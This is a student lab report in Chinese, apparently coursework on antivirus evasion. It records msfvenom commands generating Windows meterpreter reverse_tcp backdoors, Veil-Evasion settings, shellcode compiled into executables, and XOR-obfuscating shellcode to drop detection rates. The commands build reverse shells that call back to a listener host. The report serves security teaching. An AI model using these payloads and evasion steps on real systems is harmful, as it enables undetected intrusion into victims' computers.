20155320 Exp3 免殺原理與實踐
阿新 • • 發佈:2018-04-09
可執行 惡意代碼 執行 AR 後門 lock 函數 工具 文件復制
20155320 Exp3 免殺原理與實踐
免殺
一般是對惡意軟件做處理,讓它不被殺毒軟件所檢測。也是滲透測試中需要使用到的技術。
【基礎問題回答】
(1)殺軟是如何檢測出惡意代碼的?
1.通過行為檢測
2.通過特征碼的比對
3.啟發式檢測
(2)免殺是做什麽?
是對惡意軟件做處理,用來躲避殺毒軟件的檢查
(3)免殺的基本方法有哪些?
方法有修改特征碼
改變行為特征
【正確使用msf編碼器,msfvenom生成如jar之類的其他文件,veil-evasion,自己利用shellcode編程等免殺工具或技巧】
在老師提供的virscan上上傳後門進行免殺測試。
1.全裸後門測試
- 將未經處理過的後門直接在virscan上測試,發現裸奔的後門有18個殺軟檢測到了。
2.利用msfvenom對裸奔的後門進行編碼處理
- 對全裸的後門用如下命令,進行一次編碼
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b ‘\x00’ LHOST=192.168.19.128 LPORT=5320 -f exe > 5320-v1.exe
- 然後將經過編碼後的後門程序後門程序在virscan上進行免殺測試,發現有19個殺軟檢測到了它,並沒有起到隱藏作用。
- 然後我不死心又嘗試了10次編碼,只用把命令中i後面的數字改一下,就能控制編碼次數了。
- 然而對於殺軟來說穿上10件衣服的它和裸奔的它並沒有什麽區別,他依然沒能逃過殺軟的眼睛。
3.Veil-Evasion免殺平臺
- 由於用的是老師的虛擬機,所以Veil已經安裝好了,直接輸入
veil
進入免殺平臺,之後依次輸入以下命令來進行選擇
use evasion
use python/meterpreter/rev_tcp.py
set LHOST 192.168.19.133(kali IP)
set LPORT 5320
設定完成後,輸入
generate
出現了錯誤,很難受,文件生成不了
之後我看了一下有很多同學出現了同樣的錯誤,發現將語言換成C語言即可了。
- 將產生的後門復制到windows下,加入殺軟的信任列表裏,進行檢測,發現這次隱藏得不錯,只有9個殺軟檢測到了。
- 通過回連(方法見上一次實驗),成功監聽
4.利用shellcode編程實現免殺
- 利用msf命令生成一個C語言的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.128.19.133 LPORT=5320 -f c
- 將上圖中生成的數組加上一個主函數建立一個met_5320.c的.c文件
- 隨後用命令
i686-w64-mingw32-g++ met_5320.c -o met_5320.exe
將.c文件轉換為可執行文件met_5320.exe。
- 可以將可執行文件復制到windows下可以檢測一下它的隱蔽性,然而一復制就被我的電腦管家攔截了,授予信任後檢測發現仍然有9個殺軟檢測到了它。
- 回連但是exe文件運行有問題,很難受。
通過C語言調用Shellcode
- 將shellcode拷到windows下,按老師的方法編寫成.C文件通過VS編譯運行得到的exe,可以回連到kali,報毒率也還可以,但是並沒有低多少TAT。
手工版後門
- 怎麽能使報毒率變得更低呢,總的來說就是要將shellcode通過某種方式給藏起來,但是又能還原,發現大家的方法都五花八門的,我最終決定結合密碼學的方法,將shellcode數組與1異或一下,主要是覺得應該隱藏效果不錯而且簡單。數組變化的代碼如下。
- 變化後的數組如下,而且我檢測了一下再異或一下是能變回去的,而且目測還是變得挺面目全非的,放心啦~。
- 將變化後的shellcode放入原C文件中,稍加變化(由於不讓放代碼,就不貼了),能回連成功,報毒率也相當低,只有2%了,開心,一直在報毒的瑞星也沒發現,哈哈哈,用我的電腦管家查殺也很平靜,感覺電腦管家保護不了我的電腦了。
【實驗總結】
這次實驗感覺相較有趣,技術性變強了,尤其是需要自己家手工制作後門實現免殺,感覺很有成就感,就是自己做後門的通用性不強,唉。還有就是發現瑞星很強呀,考慮之後換個殺軟就換它了。
20155320 Exp3 免殺原理與實踐